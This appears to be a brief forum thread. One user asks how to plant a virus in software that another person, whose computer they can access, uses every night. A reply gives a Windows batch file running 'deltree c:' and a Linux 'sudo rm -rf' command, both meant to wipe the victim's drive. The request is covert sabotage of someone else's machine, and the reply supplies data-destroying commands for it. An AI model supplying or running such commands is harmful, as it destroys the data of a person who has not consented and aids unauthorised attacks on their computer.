virus help

OK so i have a person whose computer i have complete access to.  He has quite a habit of frequently (every night) using limewire to download porn.  I would like to put an executable virus in the program since he uses it so often but the problem is i don't have the slightest clue where to start.  halp?

For Windows:
Type this into a text document, then save is as something.BAT and then run it.
@echo off
deltree c:

For Linux:
Type this command in terminal:
sudo rm -rf